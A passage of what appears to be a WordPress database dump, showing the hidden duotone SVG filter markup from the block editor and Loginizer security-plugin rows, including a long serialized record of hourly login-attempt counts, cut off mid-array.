hidden;\" ><defs><filter id=\"wp-duotone-grayscale\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0 1\" /><feFuncG type=\"table\" tableValues=\"0 1\" /><feFuncB type=\"table\" tableValues=\"0 1\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-purple-yellow\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0.54901960784314 0.98823529411765\" /><feFuncG type=\"table\" tableValues=\"0 1\" /><feFuncB type=\"table\" tableValues=\"0.71764705882353 0.25490196078431\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-blue-red\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0 1\" /><feFuncG type=\"table\" tableValues=\"0 0.27843137254902\" /><feFuncB type=\"table\" tableValues=\"0.5921568627451 0.27843137254902\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-midnight\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0 0\" /><feFuncG type=\"table\" tableValues=\"0 0.64705882352941\" /><feFuncB type=\"table\" tableValues=\"0 1\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-magenta-yellow\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0.78039215686275 1\" /><feFuncG type=\"table\" tableValues=\"0 0.94901960784314\" /><feFuncB type=\"table\" tableValues=\"0.35294117647059 0.47058823529412\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-purple-green\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0.65098039215686 0.40392156862745\" /><feFuncG type=\"table\" tableValues=\"0 1\" /><feFuncB type=\"table\" tableValues=\"0.44705882352941 0.4\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg><svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 0 0\" width=\"0\" height=\"0\" focusable=\"false\" role=\"none\" style=\"visibility: hidden; position: absolute; left: -9999px; overflow: hidden;\" ><defs><filter id=\"wp-duotone-blue-orange\"><feColorMatrix color-interpolation-filters=\"sRGB\" type=\"matrix\" values=\" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 \" /><feComponentTransfer color-interpolation-filters=\"sRGB\" ><feFuncR type=\"table\" tableValues=\"0.098039215686275 1\" /><feFuncG type=\"table\" tableValues=\"0 0.66274509803922\" /><feFuncB type=\"table\" tableValues=\"0.84705882352941 0.41960784313725\" /><feFuncA type=\"table\" tableValues=\"1 1\" /></feComponentTransfer><feComposite in2=\"SourceGraphic\" operator=\"in\" /></filter></defs></svg>','no'),
(115221,'user_count','3','off'),
(129680,'loginizer_backuply_promo_time','1614957442','yes'),
(141056,'loginizer_csrf_promo_time','1614957442','yes'),
(219032,'loginizer_login_attempt_stats','a:27420:{i:1680937200;a:1:{i:0;i:3;}i:1680940800;a:1:{i:0;i:21;}i:1680944400;a:1:{i:0;i:7;}i:1680948000;a:1:{i:0;i:4;}i:1680951600;a:1:{i:0;i:9;}i:1680955200;a:1:{i:0;i:3;}i:1680958800;a:1:{i:0;i:7;}i:1680962400;a:1:{i:0;i:8;}i:1680966000;a:1:{i:0;i:2;}i:1680969600;a:1:{i:0;i:10;}i:1680973200;a:1:{i:0;i:1;}i:1680976800;a:1:{i:0;i:10;}i:1680984000;a:1:{i:0;i:13;}i:1680987600;a:1:{i:0;i:15;}i:1680991200;a:1:{i:0;i:14;}i:1680994800;a:1:{i:0;i:5;}i:1680998400;a:1:{i:0;i:9;}i:1681002000;a:1:{i:0;i:5;}i:1681005600;a:1:{i:0;i:8;}i:1681009200;a:1:{i:0;i:4;}i:1681012800;a:1:{i:0;i:10;}i:1681016400;a:1:{i:0;i:7;}i:1681020000;a:1:{i:0;i:7;}i:1681023600;a:1:{i:0;i:19;}i:1681027200;a:1:{i:0;i:12;}i:1681030800;a:1:{i:0;i:20;}i:1681034400;a:1:{i:0;i:5;}i:1681038000;a:1:{i:0;i:21;}i:1681041600;a:1:{i:0;i:16;}i:1681045200;a:1:{i:0;i:12;}i:1681048800;a:1:{i:0;i:10;}i:1681052400;a:1:{i:0;i:2;}i:1681056000;a:1:{i:0;i:5;}i:1681059600;a:1:{i:0;i:5;}i:1681063200;a:1:{i:0;i:1;}i:1681066800;a:1:{i:0;i:10;}i:1681070400;a:1:{i:0;i:2;}i:1681074000;a:1:{i:0;i:17;}i:1681077600;a:1:{i:0;i:12;}i:1681081200;a:1:{i:0;i:5;}i:1681084800;a:1:{i:0;i:10;}i:1681088400;a:1:{i:0;i:5;}i:1681092000;a:1:{i:0;i:8;}i:1681095600;a:1:{i:0;i:4;}i:1681099200;a:1:{i:0;i:10;}i:1681102800;a:1:{i:0;i:11;}i:1681106400;a:1:{i:0;i:20;}i:1681110000;a:1:{i:0;i:24;}i:1681113600;a:1:{i:0;i:13;}i:1681117200;a:1:{i:0;i:25;}i:1681120800;a:1:{i:0;i:15;}i:1681124400;a:1:{i:0;i:6;}i:1681128000;a:1:{i:0;i:17;}i:1681131600;a:1:{i:0;i:8;}i:1681135200;a:1:{i:0;i:10;}i:1681138800;a:1:{i:0;i:1;}i:1681142400;a:1:{i:0;i:3;}i:1681146000;a:1:{i:0;i:9;}i:1681149600;a:1:{i:0;i:14;}i:1681153200;a:1:{i:0;i:5;}i:1681156800;a:1:{i:0;i:13;}i:1681160400;a:1:{i:0;i:5;}i:1681164000;a:1:{i:0;i:10;}i:1681167600;a:1:{i:0;i:2;}i:1681171200;a:1:{i:0;i:10;}i:1681174800;a:1:{i:0;i:9;}i:1681178400;a:1:{i:0;i:4;}i:1681182000;a:1:{i:0;i:11;}i:1681185600;a:1:{i:0;i:2;}i:1681189200;a:1:{i:0;i:14;}i:1681192800;a:1:{i:0;i:1;}i:1681196400;a:1:{i:0;i:13;}i:1681200000;a:1:{i:0;i:2;}i:1681203600;a:1:{i:0;i:7;}i:1681207200;a:1:{i:0;i:3;}i:1681210800;a:1:{i:0;i:7;}i:1681214400;a:1:{i:0;i:11;}i:1681218000;a:1:{i:0;i:6;}i:1681221600;a:1:{i:0;i:11;}i:1681225200;a:1:{i:0;i:10;}i:1681228800;a:1:{i:0;i:10;}i:1681232400;a:1:{i:0;i:7;}i:1681236000;a:1:{i:0;i:21;}i:1681239600;a:1:{i:0;i:20;}i:1681243200;a:1:{i:0;i:24;}i:1681246800;a:1:{i:0;i:15;}i:1681250400;a:1:{i:0;i:18;}i:1681254000;a:1:{i:0;i:15;}i:1681257600;a:1:{i:0;i:7;}i:1681261200;a:1:{i:0;i:13;}i:1681264800;a:1:{i:0;i:17;}i:1681268400;a:1:{i:0;i:21;}i:1681272000;a:1:{i:0;i:21;}i:1681275600;a:1:{i:0;i:20;}i:1681279200;a:1:{i:0;i:23;}i:1681282800;a:1:{i:0;i:34;}i:1681286400;a:1:{i:0;i:23;}i:1681290000;a:1:{i:0;i:25;}i:1681293600;a:1:{i:0;i:20;}i:1681297200;a:1:{i:0;i:16;}i:1681300800;a:1:{i:0;i:9;}i:1681304400;a:1:{i:0;i:17;}i:1681308000;a:1:{i:0;i:10;}i:1681311600;a:1:{i:0;i:15;}i:1681315200;a:1:{i:0;i:15;}i:1681318800;a:1:{i:0;i:14;}i:1681322400;a:1:{i:0;i:4;}i:1681326000;a:1:{i:0;i:13;}i:1681329600;a:1:{i:0;i:11;}i:1681333200;a:1:{i:0;i:9;}i:1681336800;a:1:{i:0;i:9;}i:1681340400;a:1:{i:0;i:12;}i:1681344000;a:1:{i:0;i:2;}i:1681347600;a:1:{i:0;i:10;}i:1681351200;a:1:{i:0;i:14;}i:1681354800;a:1:{i:0;i:10;}i:1681358400;a:1:{i:0;i:12;}i:1681362000;a:1:{i:0;i:16;}i:1681365600;a:1:{i:0;i:5;}i:1681369200;a:1:{i:0;i:14;}i:1681372800;a:1:{i:0;i:11;}i:1681376400;a:1:{i:0;i:14;}i:1681380000;a:1:{i:0;i:14;}i:1681383600;a:1:{i:0;i:12;}i:1681387200;a:1:{i:0;i:1;}i:1681390800;a:1:{i:0;i:10;}i:1681394400;a:1:{i:0;i:15;}i:1681398000;a:1:{i:0;i:9;}i:1681401600;a:1:{i:0;i:9;}i:1681405200;a:1:{i:0;i:13;}i:1681408800;a:1:{i:0;i:2;}i:1681412400;a:1:{i:0;i:9;}i:1681416000;a:1:{i:0;i:23;}i:1681419600;a:1:{i:0;i:20;}i:1681423200;a:1:{i:0;i:8;}i:1681426800;a:1:{i:0;i:18;}i:1681430400;a:1:{i:0;i:17;}i:1681434000;a:1:{i:0;i:18;}i:1681437600;a:1:{i:0;i:17;}i:1681441200;a:1:{i:0;i:21;}i:1681444800;a:1:{i:0;i:20;}i:1681448400;a:1:{i:0;i:19;}i:1681452000;a:1:{i:0;i:7;}i:1681455600;a:1:{i:0;i:7;}i:1681459200;a:1:{i:0;i:6;}i:1681462800;a:1:{i:0;i:6;}i:1681466400;a:1:{i:0;i:6;}i:1681470000;a:1:{i:0;i:8;}i:1681473600;a:1:{i:0;i:6;}i:1681477200;a:1:{i:0;i:9;}i:1681480800;a:1:{i:0;i:5;}i:1681484400;a:1:{i:0;i:7;}i:1681488000;a:1:{i:0;i:3;}i:1681491600;a:1:{i:0;i:4;}i:1681495200;a:1:{i:0;i:15;}i:1681498800;a:1:{i:0;i:6;}i:1681502400;a:1:{i:0;i:4;}i:1681506000;a:1:{i:0;i:8;}i:1681509600;a:1:{i:0;i:5;}i:1681513200;a:1:{i:0;i:6;}i:1681516800;a:1:{i:0;i:10;}i:1681520400;a:1:{i:0;i:5;}i:1681524000;a:1:{i:0;i:6;}i:1681527600;a:1:{i:0;i:7;}i:1681531200;a:1:{i:0;i:6;}i:1681534800;a:1:{i:0;i:13;}i:1681538400;a:1:{i:0;i:10;}i:1681542000;a:1:{i:0;i:14;}i:1681545600;a:1:{i:0;i:12;}i:1681549200;a:1:{i:0;i:8;}i:1681552800;a:1:{i:0;i:13;}i:1681556400;a:1:{i:0;i:10;}i:1681560000;a:1:{i:0;i:6;}i:1681563600;a:1:{i:0;i:12;}i:1681567200;a:1:{i:0;i:6;}i:1681570800;a:1:{i:0;i:9;}i:1681574400;a:1:{i:0;i:6;}i:1681578000;a:1:{i:0;i:1;}i:1681581600;a:1:{i:0;i:10;}i:1681585200;a:1:{i:0;i:4;}i:1681588800;a:1:{i:0;i:11;}i:1681592400;a:1:{i:0;i:9;}i:1681596000;a:1:{i:0;i:4;}i:1681599600;a:1:{i:0;i:7;}i:1681603200;a:1:{i:0;i:6;}i:1681606800;a:1:{i:0;i:7;}i:1681610400;a:1:{i:0;i:6;}i:1681614000;a:1:{i:0;i:5;}i:1681617600;a:1:{i:0;i:5;}i:1681621200;a:1:{i:0;i:3;}i:1681624800;a:1:{i:0;i:8;}i:1681628400;a:1:{i:0;i:9;}i:1681632000;a:1:{i:0;i:11;}i:1681635600;a:1:{i:0;i:13;}i:1681639200;a:1:{i:0;i:11;}i:1681642800;a:1:{i:0;i:9;}i:1681646400;a:1:{i:0;i:12;}i:1681650000;a:1:{i:0;i:9;}i:1681653600;a:1:{i:0;i:6;}i:1681657200;a:1:{i:0;i:3;}i:1681660800;a:1:{i:0;i:5;}i:1681664400;a:1:{i:0;i:4;}i:1681668000;a:1:{i:0;i:2;}i:1681671600;a:1:{i:0;i:3;}i:1681675200;a:1:{i:0;i:2;}i:1681678800;a:1:{i:0;i:3;}i:1681682400;a:1:{i:0;i:2;}i:1681686000;a:1:{i:0;i:4;}i:1681689600;a:1:{i:0;i:4;}i:1681693200;a:1:{i:0;i:2;}i:1681696800;a:1:{i:0;i:2;}i:1681700400;a:1:{i:0;i:12;}i:1681704000;a:1:{i:0;i:19;}i:1681707600;a:1:{i:0;i:18;}i:1681711200;a:1:{i:0;i:13;}i:1681714800;a:1:{i:0;i:7;}i:1681718400;a:1:{i:0;i:9;}i:1681722000;a:1:{i:0;i:6;}i:1681725600;a:1:{i:0;i:8;}i:1681729200;a:1:{i:0;i:3;}i:1681732800;a:1:{i:0;i:4;}i:1681736400;a:1:{i:0;i:4;}i:1681740000;a:1:{i:0;i:1;}i:1681743600;a:1:{i:0;i:2;}i:1681747200;a:1:{i:0;i:3;}i:1681750800;a:1:{i:0;i:1;}i:1681754400;a:1:{i:0;i:4;}i:1681758000;a:1:{i:0;i:5;}i:1681761600;a:1:{i:0;i:9;}i:1681765200;a:1:{i:0;i:10;}i:1681768800;a:1:{i:0;i:6;}i:1681772400;a:1:{i:0;i:5;}i:1681776000;a:1:{i:0;i:10;}i:1681779600;a:1:{i:0;i:9;}i:1681783200;a:1:{i:0;i:8;}i:1681786800;a:1:{i:0;i:12;}i:1681790400;a:1:{i:0;i:15;}i:1681794000;a:1:{i:0;i:13;}i:1681797600;a:1:{i:0;i:14;}i:1681801200;a:1:{i:0;i:20;}i:1681804800;a:1:{i:0;i:20;}i:1681808400;a:1:{i:0;i:17;}i:1681812000;a:1:{i:0;i:13;}i:1681815600;a:1:{i:0;i:11;}i:1681819200;a:1:{i:0;i:9;}i:1681822800;a:1:{i:0;i:10;}i:1681826400;a:1:{i:0;i:12;}i:1681830000;a:1:{i:0;i:5;}i:1681833600;a:1:{i:0;i:3;}i:1681837200;a:1:{i:0;i:5;}i:1681840800;a:1:{i:0;i:6;}i:1681844400;a:1:{i:0;i:6;}i:1681848000;a:1:{i:0;i:5;}i:1681851600;a:1:{i:0;i:4;}i:1681855200;a:1:{i:0;i:8;}i:1681858800;a:1:{i:0;i:3;}i:1681862400;a:1:{i:0;i:7;}i:1681866000;a:1:{i:0;i:4;}i:1681869600;a:1:{i:0;i:5;}i:1681873200;a:1:{i:0;i:4;}i:1681876800;a:1:{i:0;i:4;}i:1681880400;a:1:{i:0;i:5;}i:1681884000;a:1:{i:0;i:6;}i:1681887600;a:1:{i:0;i:8;}i:1681891200;a:1:{i:0;i:11;}i:1681894800;a:1:{i:0;i:4;}i:1681898400;a:1:{i:0;i:8;}i:1681902000;a:1:{i:0;i:5;}i:1681905600;a:1:{i:0;i:6;}i:1681909200;a:1:{i:0;i:4;}i:1681912800;a:1:{i:0;i:4;}i:1681916400;a:1:{i:0;i:1;}i:1681920000;a:1:{i:0;i:2;}i:1681927200;a:1:{i:0;i:1;}i:1681945200;a:1:{i:0;i:3;}i:1681952400;a:1:{i:0;i:4;}i:1681956000;a:1:{i:0;i:8;}i:1681959600;a:1:{i:0;i:5;}i:1681963200;a:1:{i:0;i:10;}i:1681966800;a:1:{i:0;i:9;}i:1681970400;a:1:{i:0;i:15;}i:1681974000;a:1:{i:0;i:9;}i:1681977600;a:1:{i:0;i:8;}i:1681981200;a:1:{i:0;i:7;}i:1681984800;a:1:{i:0;i:8;}i:1681988400;a:1:{i:0;i:6;}i:1681992000;a:1:{i:0;i:2;}i:1681995600;a:1:{i:0;i:3;}i:1681999200;a:1:{i:0;i:2;}i:1682002800;a:1:{i:0;i:2;}i:1682006400;a:1:{i:0;i:5;}i:1682010000;a:1:{i:0;i:5;}i:1682013600;a:1:{i:0;i:11;}i:1682017200;a:1:{i:0;i:10;}i:1682020800;a:1:{i:0;i:6;}i:1682024400;a:1:{i:0;i:8;}i:1682028000;a:1:{i:0;i:8;}i:1682031600;a:1:{i:0;i:8;}i:1682035200;a:1:{i:0;i:8;}i:1682038800;a:1:{i:0;i:3;}i:1682042400;a:1:{i:0;i:5;}i:1682046000;a:1:{i:0;i:5;}i:1682049600;a:1:{i:0;i:2;}i:1682053200;a:1:{i:0;i:4;}i:1682056800;a:1:{i:0;i:7;}i:1682060400;a:1:{i:0;i:6;}i:1682064000;a:1:{i:0;i:6;}i:1682067600;a:1:{i:0;i:7;}i:1682071200;a:1:{i:0;i:7;}i:1682074800;a:1:{i:0;i:8;}i:1682078400;a:1:{i:0;i:4;}i:1682082000;a:1:{i:0;i:4;}i:1682085600;a:1:{i:0;i:3;}i:1682089200;a:1:{i:0;i:3;}i:1682092800;a:1:{i:0;i:3;}i:1682096400;a:1:{i:0;i:2;}i:1682100000;a:1:{i:0;i:1;}i:1682103600;a:1:{i:0;i:1;}i:1682107200;a:1:{i:0;i:2;}i:1682110800;a:1:{i:0;i:5;}i:1682114400;a:1:{i:0;i:4;}i:1682118000;a:1:{i:0;i:9;}i:1682121600;a:1:{i:0;i:9;}i:1682125200;a:1:{i:0;i:7;}i:1682128800;a:1:{i:0;i:7;}i:1682132400;a:1:{i:0;i:6;}i:1682136000;a:1:{i:0;i:10;}i:1682139600;a:1:{i:0;i:8;}i:1682143200;a:1:{i:0;i:11;}i:1682146800;a:1:{i:0;i:13;}i:1682150400;a:1:{i:0;i:15;}i:1682154000;a:1:{i:0;i:15;}i:1682157600;a:1:{i:0;i:9;}i:1682161200;a:1:{i:0;i:10;}i:1682164800;a:1:{i:0;i:10;}i:1682168400;a:1:{i:0;i:11;}i:1682172000;a:1:{i:0;i:12;}i:1682175600;a:1:{i:0;i:4;}i:1682179200;a:1:{i:0;i:10;}i:1682182800;a:1:{i:0;i:7;}i:1682186400;a:1:{i:0;i:4;}i:1682190000;a:1:{i:0;i:7;}i:1682193600;a:1:{i:0;i:6;}i:1682197200;a:1:{i:0;i:8;}i:1682200800;a:1:{i:0;i:8;}i:1682204400;a:1:{i:0;i:5;}i:1682208000;a:1:{i:0;i:2;}i:1682211600;a:1:{i:0;i:7;}i:1682215200;a:1:{i:0;i:6;}i:1682218800;a:1:{i:0;i:1;}i:1682222400;a:1:{i:0;i:3;}i:1682226000;a:1:{i:0;i:4;}i:1682229600;a:1:{i:0;i:1;}i:1682233200;a:1:{i:0;i:2;}i:1682236800;a:1:{i:0;i:5;}i:1682240400;a:1:{i:0;i:3;}i:1682244000;a:1:{i:0;i:3;}i:1682247600;a:1:{i:0;i:1;}i:1682254800;a:1:{i:0;i:1;}i:1682258400;a:1:{i:0;i:1;}i:1682262000;a:1:{i:0;i:1;}i:1682283600;a:1:{i:0;i:9;}i:1682287200;a:1:{i:0;i:10;}i:1682290800;a:1:{i:0;i:3;}i:1682294400;a:1:{i:0;i:4;}i:1682298000;a:1:{i:0;i:1;}i:1682301600;a:1:{i:0;i:1;}i:1682305200;a:1:{i:0;i:2;}i:1682308800;a:1:{i:0;i:1;}i:1682312400;a:1:{i:0;i:1;}i:1682316000;a:1:{i:0;i:8;}i:1682319600;a:1:{i:0;i:7;}i:1682323200;a:1:{i:0;i:4;}i:1682326800;a:1:{i:0;i:4;}i:1682330400;a:1:{i:0;i:5;}i:1682334000;a:1:{i:0;i:5;}i:1682337600;a:1:{i:0;i:1;}i:1682341200;a:1:{i:0;i:5;}i:1682344800;a:1:{i:0;i:2;}i:1682348400;a:1:{i:0;i:5;}i:1682352000;a:1:{i:0;i:6;}i:1682355600;a:1:{i:0;i:6;}i:1682359200;a:1:{i:0;i:8;}i:1682362800;a:1:{i:0;i:5;}i:1682366400;a:1:{i:0;i:5;}i:1682370000;a:1:{i:0;i:5;}i:1682373600;a:1:{i:0;i:6;}i:1682377200;a:1:{i:0;i:10;}i:1682380800;a:1:{i:0;i:5;}i:1682384400;a:1:{i:0;i:6;}i:1682388000;a:1:{i:0;i:7;}i:1682391600;a:1:{i:0;i:13;}i:1682395200;a:1:{i:0;i:12;}i:1682398800;a:1:{i:0;i:6;}i:1682402400;a:1:{i:0;i:13;}i:1682406000;a:1:{i:0;i:12;}i:1682409600;a:1:{i:0;i:13;}i:1682413200;a:1:{i:0;i:17;}i:1682416800;a:1:{i:0;i:9;}i:1682420400;a:1:{i:0;i:6;}i:1682424000;a:1:{i:0;i:10;}i:1682427600;a:1:{i:0;i:7;}i:1682431200;a:1:{i:0;i:5;}i:1682434800;a:1:{i:0;i:1;}i:1682438400;a:1:{i:0;i:2;}i:1682442000;a:1:{i:0;i:61;}i:1682445600;a:1:{i:0;i:1;}i:1682449200;a:1:{i:0;i:3;}i:1682460000;a:1:{i:0;i:1;}i:1682463600;a:1:{i:0;i:1;}i:1682467200;a:1:{i:0;i:9;}i:1682478000;a:1:{i:0;i:1;}i:1682481600;a:1:{i:0;i:30;}i:1682485200;a:1:{i:0;i:2;}i:1682488800;a:1:{i:0;i:1;}i:1682492400;a:1:{i:0;i:4;}i:1682496000;a:1:{i:0;i:1;}i:1682499600;a:1:{i:0;i:4;}i:1682503200;a:1:{i:0;i:7;}i:1682506800;a:1:{i:0;i:10;}i:1682510400;a:1:{i:0;i:6;}i:1682514000;a:1:{i:0;i:9;}i:1682517600;a:1:{i:0;i:10;}i:1682521200;a:1:{i:0;i:6;}i:1682524800;a:1:{i:0;i:7;}i:1682528400;a:1:{i:0;i:4;}i:1682532000;a:1:{i:0;i:6;}i:1682535600;a:1:{i:0;i:7;}i:1682539200;a:1:{i:0;i:6;}i:1682542800;a:1:{i:0;i:6;}i:1682546400;a:1:{i:0;i:3;}i:1682550000;a:1:{i:0;i:6;}i:1682553600;a:1:{i:0;i:6;}i:1682557200;a:1:{i:0;i:11;}i:1682560800;a:1:{i:0;i:13;}i:1682564400;a:1:{i:0;i:7;}i:1682568000;a:1:{i:0;i:3;}i:1682571600;a:1:{i:0;i:7;}i:1682575200;a:1:{i:0;i:15;}i:1682578800;a:1:{i:0;i:12;}i:1682582400;a:1:{i:0;i:10;}i:1682586000;a:1:{i:0;i:13;}i:1682589600;a:1:{i:0;i:7;}i:1682593200;a:1:{i:0;i:11;}i:1682596800;a:1:{i:0;i:12;}i:1682600400;a:1:{i:0;i:4;}i:1682604000;a:1:{i:0;i:6;}i:1682607600;a:1:{i:0;i:10;}i:1682611200;a:1:{i:0;i:7;}i:1682614800;a:1:{i:0;i:8;}i:1682618400;a:1:{i:0;i:2;}i:1682622000;a:1:{i:0;i:5;}i:1682625600;a:1:{i:0;i:27;}i:1682629200;a:1:{i:0;i:21;}i:1682632800;a:1:{i:0;i:2;}i:1682636400;a:1:{i:0;i:3;}i:1682640000;a:1:{i:0;i:6;}i:1682643600;a:1:{i:0;i:3;}i:1682647200;a:1:{i:0;i:2;}i:1682650800;a:1:{i:0;i:2;}i:1682654400;a:1:{i:0;i:3;}i:1682658000;a:1:{i:0;i:1;}i:1682661600;a:1:{i:0;i:4;}i:1682665200;a:1:{i:0;i:4;}i:1682668800;a:1:{i:0;i:3;}i:1682672400;a:1:{i:0;i:3;}i:1682676000;a:1:{i:0;i:9;}i:1682679600;a:1:{i:0;i:3;}i:1682683200;a:1:{i:0;i:7;}i:1682686800;a:1:{i:0;i:5;}i:1682690400;a:1:{i:0;i:5;}i:1682694000;a:1:{i:0;i:5;}i:1682697600;a:1:{i:0;i:7;}i:1682701200;a:1:{i:0;i:8;}i:1682704800;a:1:{i:0;i:11;}i:1682708400;a:1:{i:0;i:13;}i:1682712000;a:1:{i:0;i:15;}i:1682715600;a:1:{i:0;i:9;}i:1682719200;a:1:{i:0;i:7;}i:1682722800;a:1:{i:0;i:9;}i:1682726400;a:1:{i:0;i:8;}i:1682730000;a:1:{i:0;i:6;}i:1682733600;a:1:{i:0;i:2;}i:1682737200;a:1:{i:0;i:4;}i:1682740800;a:1:{i:0;i:1;}i:1682744400;a:1:{i:0;i:3;}i:1682748000;a:1:{i:0;i:3;}i:1682751600;a:1:{i:0;i:2;}i:1682755200;a:1:{i:0;i:3;}i:1682758800;a:1:{i:0;i:5;}i:1682762400;a:1:{i:0;i:19;}i:1682766000;a:1:{i:0;i:8;}i:1682769600;a:1:{i:0;i:5;}i:1682773200;a:1:{i:0;i:2;}i:1682776800;a:1:{i:0;i:5;}i:1682780400;a:1:{i:0;i:5;}i:1682784000;a:1:{i:0;i:9;}i:1682787600;a:1:{i:0;i:6;}i:1682791200;a:1:{i:0;i:11;}i:1682794800;a:1:{i:0;i:7;}i:1682798400;a:1:{i:0;i:14;}i:1682802000;a:1:{i:0;i:12;}i:1682805600;a:1:{i:0;i:8;}i:1682809200;a:1:{i:0;i:3;}i:1682812800;a:1:{i:0;i:9;}i:1682816400;a:1:{i:0;i:8;}i:1682820000;a:1:{i:0;i:4;}i:1682823600;a:1:{i:0;i:3;}i:1682827200;a:1:{i:0;i:5;}i:1682830800;a:1:{i:0;i:5;}i:1682834400;a:1:{i:0;i:5;}i:1682838000;a:1:{i:0;i:6;}i:1682841600;a:1:{i:0;i:4;}i:1682845200;a:1:{i:0;i:2;}i:1682848800;a:1:{i:0;i:4;}i:1682852400;a:1:{i:0;i:4;}i:1682856000;a:1:{i:0;i:2;}i:1682859600;a:1:{i:0;i:1;}i:1682863200;a:1:{i:0;i:4;}i:1682866800;a:1:{i:0;i:1;}i:1682870400;a:1:{i:0;i:4;}i:1682874000;a:1:{i:0;i:2;}i:1682877600;a:1:{i:0;i:3;}i:1682881200;a:1:{i:0;i:3;}i:1682884800;a:1:{i:0;i:1;}i:1682888400;a:1:{i:0;i:9;}i:1682895600;a:1:{i:0;i:2;}i:1682899200;a:1:{i:0;i:2;}i:1682902800;a:1:{i:0;i:2;}i:1682906400;a:1:{i:0;i:5;}i:1682917200;a:1:{i:0;i:5;}i:1682920800;a:1:{i:0;i:1;}i:1682931600;a:1:{i:0;i:1;}i:1682935200;a:1:{i:0;i:2;}i:1682938800;a:1:{i:0;i:3;}i:1682942400;a:1:{i:0;i:4;}i:1682946000;a:1:{i:0;i:1;}i:1682949600;a:1:{i:0;i:3;}i:1682953200;a:1:{i:0;i:8;}i:1682956800;a:1:{i:0;i:9;}i:1682960400;a:1:{i:0;i:12;}i:1682964000;a:1:{i:0;i:11;}i:1682967600;a:1:{i:0;i:10;}i:1682971200;a:1:{i:0;i:7;}i:1682974800;a:1:{i:0;i:5;}i:1682978400;a:1:{i:0;i:6;}i:1682982000;a:1:{i:0;i:6;}i:1682989200;a:1:{i:0;i:7;}i:1682992800;a:1:{i:0;i:1;}i:1682996400;a:1:{i:0;i:3;}i:1683000000;a:1:{i:0;i:3;}i:1683003600;a:1:{i:0;i:2;}i:1683007200;a:1:{i:0;i:4;}i:1683010800;a:1:{i:0;i:3;}i:1683014400;a:1:{i:0;i:7;}i:1683018000;a:1:{i:0;i:11;}i:1683021600;a:1:{i:0;i:4;}i:1683025200;a:1:{i:0;i:1;}i:1683028800;a:1:{i:0;i:4;}i:1683032400;a:1:{i:0;i:6;}i:1683036000;a:1:{i:0;i:5;}i:1683039600;a:1:{i:0;i:11;}i:1683043200;a:1:{i:0;i:2;}i:1683046800;a:1:{i:0;i:6;}i:1683050400;a:1:{i:0;i:8;}i:1683054000;a:1:{i:0;i:8;}i:1683057600;a:1:{i:0;i:3;}i:1683061200;a:1:{i:0;i:4;}i:1683064800;a:1:{i:0;i:8;}i:1683068400;a:1:{i:0;i:6;}i:1683072000;a:1:{i:0;i:3;}i:1683075600;a:1:{i:0;i:6;}i:1683079200;a:1:{i:0;i:4;}i:1683082800;a:1:{i:0;i:11;}i